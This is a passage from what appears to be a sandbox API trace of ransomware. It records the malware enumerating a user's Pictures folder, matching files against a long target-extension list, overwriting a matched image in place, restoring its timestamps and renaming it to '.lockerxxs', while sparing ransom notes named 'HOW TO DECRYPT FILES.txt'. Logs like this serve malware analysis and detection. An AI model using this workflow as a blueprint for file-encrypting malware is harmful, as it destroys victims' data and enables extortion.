HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.djvu") returned 0 [0091.122] lstrlenA (lpString="*.djvu") returned 6 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.tiff") returned 0 [0091.122] lstrlenA (lpString="*.tiff") returned 6 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.backup") returned 0 [0091.122] lstrlenA (lpString="*.backup") returned 8 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.pdf") returned 0 [0091.122] lstrlenA (lpString="*.pdf") returned 5 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.cert") returned 0 [0091.122] lstrlenA (lpString="*.cert") returned 6 [0091.122] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.docm") returned 0 [0091.123] lstrlenA (lpString="*.docm") returned 6 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.xlsm") returned 0 [0091.123] lstrlenA (lpString="*.xlsm") returned 6 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.dwg") returned 0 [0091.123] lstrlenA (lpString="*.dwg") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.nd") returned 0 [0091.123] lstrlenA (lpString="*.nd") returned 4 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.tlg") returned 0 [0091.123] lstrlenA (lpString="*.tlg") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.lgb") returned 0 [0091.123] lstrlenA (lpString="*.lgb") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mov") returned 0 [0091.123] lstrlenA (lpString="*.mov") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.xdw") returned 0 [0091.123] lstrlenA (lpString="*.xdw") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.ods") returned 0 [0091.123] lstrlenA (lpString="*.ods") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.wav") returned 0 [0091.123] lstrlenA (lpString="*.wav") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.mp3") returned 0 [0091.123] lstrlenA (lpString="*.mp3") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.aiff") returned 0 [0091.123] lstrlenA (lpString="*.aiff") returned 6 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.flac") returned 0 [0091.123] lstrlenA (lpString="*.flac") returned 6 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.m4a") returned 0 [0091.123] lstrlenA (lpString="*.m4a") returned 5 [0091.123] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\ztvKTGDJ0jEn-uyj4.gif", pszSpec="*.csv") returned 0 [0091.123] lstrlenA (lpString="*.csv") returned 5 [0091.124] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36f2660, ftCreationTime.dwHighDateTime=0x1d5e298, ftLastAccessTime.dwLowDateTime=0xd54c6d90, ftLastAccessTime.dwHighDateTime=0x1d5e140, ftLastWriteTime.dwLowDateTime=0xd54c6d90, ftLastWriteTime.dwHighDateTime=0x1d5e140, nFileSizeHigh=0x0, nFileSizeLow=0x5ec8, dwReserved0=0x440020, dwReserved1=0x430045, cFileName="ztvKTGDJ0jEn-uyj4.gif", cAlternateFileName="ZTVKTG~1.GIF")) returned 0 [0091.124] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0091.124] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a7e4c40, ftCreationTime.dwHighDateTime=0x1d5df74, ftLastAccessTime.dwLowDateTime=0xafffbad0, ftLastAccessTime.dwHighDateTime=0x1d5dd42, ftLastWriteTime.dwLowDateTime=0xafffbad0, ftLastWriteTime.dwHighDateTime=0x1d5dd42, nFileSizeHigh=0x0, nFileSizeLow=0x16975, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="d9aYcb1KpxciR.png", cAlternateFileName="D9AYCB~1.PNG")) returned 1 [0091.124] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0091.124] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="d9aYcb1KpxciR.png") returned 1 [0091.124] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="d9aYcb1KpxciR.png") returned 1 [0091.124] lstrcmpiA (lpString1="", lpString2="d9aYcb1KpxciR.png") returned -1 [0091.124] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\*.*") returned="*.*" [0091.124] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" [0091.124] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="" [0091.124] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" [0091.124] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\how to decrypt files.txt")) returned 0x20 [0091.124] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="d9aYcb1KpxciR.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" [0091.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.ems") returned 0 [0091.124] lstrlenA (lpString="*.ems") returned 5 [0091.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.db") returned 0 [0091.124] lstrlenA (lpString="*.db") returned 4 [0091.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.dbf") returned 0 [0091.124] lstrlenA (lpString="*.dbf") returned 5 [0091.124] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.myox") returned 0 [0091.125] lstrlenA (lpString="*.myox") returned 6 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.myo") returned 0 [0091.125] lstrlenA (lpString="*.myo") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qbw") returned 0 [0091.125] lstrlenA (lpString="*.qbw") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qbb") returned 0 [0091.125] lstrlenA (lpString="*.qbb") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qbm") returned 0 [0091.125] lstrlenA (lpString="*.qbm") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qbo") returned 0 [0091.125] lstrlenA (lpString="*.qbo") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qbx") returned 0 [0091.125] lstrlenA (lpString="*.qbx") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qba") returned 0 [0091.125] lstrlenA (lpString="*.qba") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qby") returned 0 [0091.125] lstrlenA (lpString="*.qby") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qbj") returned 0 [0091.125] lstrlenA (lpString="*.qbj") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.ofx") returned 0 [0091.125] lstrlenA (lpString="*.ofx") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.qif") returned 0 [0091.125] lstrlenA (lpString="*.qif") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.mye") returned 0 [0091.125] lstrlenA (lpString="*.mye") returned 5 [0091.125] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.mbox") returned 0 [0091.125] lstrlenA (lpString="*.mbox") returned 6 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.eml") returned 0 [0091.126] lstrlenA (lpString="*.eml") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.pst") returned 0 [0091.126] lstrlenA (lpString="*.pst") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.ost") returned 0 [0091.126] lstrlenA (lpString="*.ost") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.idx") returned 0 [0091.126] lstrlenA (lpString="*.idx") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.dbx") returned 0 [0091.126] lstrlenA (lpString="*.dbx") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.sql") returned 0 [0091.126] lstrlenA (lpString="*.sql") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.mdb") returned 0 [0091.126] lstrlenA (lpString="*.mdb") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.fdb") returned 0 [0091.126] lstrlenA (lpString="*.fdb") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.wab") returned 0 [0091.126] lstrlenA (lpString="*.wab") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.dat") returned 0 [0091.126] lstrlenA (lpString="*.dat") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.txt") returned 0 [0091.126] lstrlenA (lpString="*.txt") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.jpeg") returned 0 [0091.126] lstrlenA (lpString="*.jpeg") returned 6 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.jpg") returned 0 [0091.126] lstrlenA (lpString="*.jpg") returned 5 [0091.126] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", pszSpec="*.png") returned 1 [0091.126] lstrlenA (lpString="*.png") returned 5 [0091.126] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" [0091.126] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" [0091.126] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png." [0091.127] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png.lockerxxs" [0091.127] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\d9aycb1kpxcir.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0091.128] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x16975 [0091.128] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x6a7e4c40, dwHighDateTime=0x1d5df74), lpLastAccessTime=0x407536*(dwLowDateTime=0xafffbad0, dwHighDateTime=0x1d5dd42), lpLastWriteTime=0x40753e*(dwLowDateTime=0xafffbad0, dwHighDateTime=0x1d5dd42)) returned 1 [0091.128] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.128] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1694f, lpOverlapped=0x0) returned 1 [0091.129] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png") returned="d9aYcb1KpxciR.png" [0091.130] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.130] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1694f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1694f, lpOverlapped=0x0) returned 1 [0091.131] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.131] CloseHandle (hObject=0x90) returned 1 [0091.131] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\d9aycb1kpxcir.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\d9aycb1kpxcir.png.lockerxxs")) returned 1 [0091.133] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x479f6950, ftCreationTime.dwHighDateTime=0x1d5dea4, ftLastAccessTime.dwLowDateTime=0x25655f70, ftLastAccessTime.dwHighDateTime=0x1d5ddb4, ftLastWriteTime.dwLowDateTime=0x25655f70, ftLastWriteTime.dwHighDateTime=0x1d5ddb4, nFileSizeHigh=0x0, nFileSizeLow=0x76fc, dwReserved0=0x2a000329, dwReserved1=0x4e00c4, cFileName="KqwonYPIOsIk.gif", cAlternateFileName="KQWONY~1.GIF")) returned 1 [0091.133] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0091.133] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="KqwonYPIOsIk.gif") returned -1 [0091.133] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="KqwonYPIOsIk.gif") returned -1 [0091.133] lstrcmpiA (lpString1="", lpString2="KqwonYPIOsIk.gif") returned -1 [0091.133] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\d9aYcb1KpxciR.png") returned="d9aYcb1KpxciR.png" [0091.133] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" [0091.133] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\") returned="" [0091.133] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" [0091.133] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\how to decrypt files.txt")) returned 0x20 [0091.133] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\", lpString2="KqwonYPIOsIk.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif" [0091.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.ems") returned 0 [0091.133] lstrlenA (lpString="*.ems") returned 5 [0091.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.db") returned 0 [0091.133] lstrlenA (lpString="*.db") returned 4 [0091.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.dbf") returned 0 [0091.133] lstrlenA (lpString="*.dbf") returned 5 [0091.133] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.myox") returned 0 [0091.133] lstrlenA (lpString="*.myox") returned 6 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.myo") returned 0 [0091.134] lstrlenA (lpString="*.myo") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qbw") returned 0 [0091.134] lstrlenA (lpString="*.qbw") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qbb") returned 0 [0091.134] lstrlenA (lpString="*.qbb") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qbm") returned 0 [0091.134] lstrlenA (lpString="*.qbm") returned 5 [0091.134] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\KqwonYPIOsIk.gif", pszSpec="*.qbo") returned 0 